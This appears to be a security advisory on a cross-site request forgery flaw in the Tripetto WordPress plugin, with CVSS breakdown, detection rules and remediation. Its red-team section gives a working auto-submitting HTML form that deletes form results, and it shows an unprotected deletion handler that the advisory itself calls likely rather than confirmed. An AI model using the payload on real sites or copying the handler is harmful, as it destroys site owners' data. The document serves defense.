CVE-2025-1530

Executive Summary

CVE-2025-1530 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Tripetto plugin for WordPress, up to and including version 8.0.9. The vulnerability arises from missing nonce validation on the result deletion endpoint, allowing an unauthenticated attacker to trick a site administrator into deleting arbitrary form results. This can lead to data loss and disruption of form-based workflows. The CVSS score is 4.3 (Medium), and no public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users should monitor the plugin's update channel for a patched version. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for the attack.
• Privileges Required (PR): None (N) - The attacker does not need any privileges.
• User Interaction (UI): Required (R) - The attacker must trick a site administrator into clicking a link or performing an action.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): Low (L) - The attacker can delete arbitrary results, affecting data integrity.
• Availability (A): None (N) - The attack does not affect system availability.

Threat Level: Medium. The attack requires user interaction but can lead to significant data loss.

Deep Dive & Mechanics

The Tripetto plugin provides a form builder and result management system for WordPress. The vulnerability exists in the result deletion functionality, which is likely exposed via an AJAX endpoint or a direct admin page action. The plugin fails to include a nonce (a one-time token) in the deletion request, meaning the server cannot verify that the request was intentionally made by an authenticated administrator.

An attacker can craft a malicious link or HTML form that, when clicked by an administrator, sends a forged request to delete specific results. Since the request appears to come from the administrator's browser, the server processes it without validation. The attack is blind (no data exfiltration), but it can cause irreversible data loss.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code likely resembles:

// Vulnerable: No nonce check
function delete_result() {
    $result_id = $_POST['result_id'];
    // Delete result from database
    $wpdb->delete( $wpdb->prefix . 'tripetto_results', array( 'id' => $result_id ) );
    wp_die();
}
add_action( 'wp_ajax_tripetto_delete_result', 'delete_result' );

A patched version would include a nonce verification:

// Patched: Nonce check added
function delete_result() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'tripetto_delete_result' ) ) {
        wp_die( 'Security check failed.' );
    }
    $result_id = intval( $_POST['result_id'] );
    $wpdb->delete( $wpdb->prefix . 'tripetto_results', array( 'id' => $result_id ) );
    wp_die();
}
add_action( 'wp_ajax_tripetto_delete_result', 'delete_result' );

Exploitation & Lab Setup

Red Team

1. Setup: Install WordPress with Tripetto plugin version 8.0.9. Create a form and submit some test results.
2. Craft Payload: Create an HTML page that auto-submits a form to the vulnerable endpoint:

   <html>
   <body>
   <form action="http://target/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
       <input type="hidden" name="action" value="tripetto_delete_result">
       <input type="hidden" name="result_id" value="1">
   </form>
   <script>document.getElementById('csrf_form').submit();</script>
   </body>
   </html>
   

3. Deliver: Host the HTML page and send the link to the administrator (e.g., via email or social engineering).
4. Execute: When the administrator clicks the link while logged into WordPress, the result with ID 1 is deleted.

Blue Team

1. Detection: Monitor for unusual spikes in result deletion requests from admin accounts.
2. Prevention: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=tripetto_delete_result that lack a valid nonce.
3. Response: If an attack is suspected, restore results from backups and force password reset for affected admin accounts.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with parameters action=tripetto_delete_result and result_id=<integer>.
• Logs: WordPress debug log entries showing unexpected result deletions.
• File: No file-based IOCs.

Detection Engineering

YARA Rule

rule tripetto_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against Tripetto plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1530"
    strings:
        $action = "tripetto_delete_result"
        $result_id = "result_id"
    condition:
        all of them
}

Sigma Rule

title: Tripetto CSRF Exploit Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting Tripetto result deletion without nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=tripetto_delete_result'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1530 Tripetto CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=tripetto_delete_result"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Tripetto plugin until a patch is available.
2. Short-term: Implement a WAF rule to block requests to admin-ajax.php with action=tripetto_delete_result that lack a valid nonce.
3. Long-term: Apply the vendor patch when released. Ensure all WordPress plugins are kept up to date.
4. Compensating Controls: Restrict admin access to trusted IPs and enforce strong authentication (e.g., MFA).

Valters IT
DevSecOps & Cyber Threat Intelligence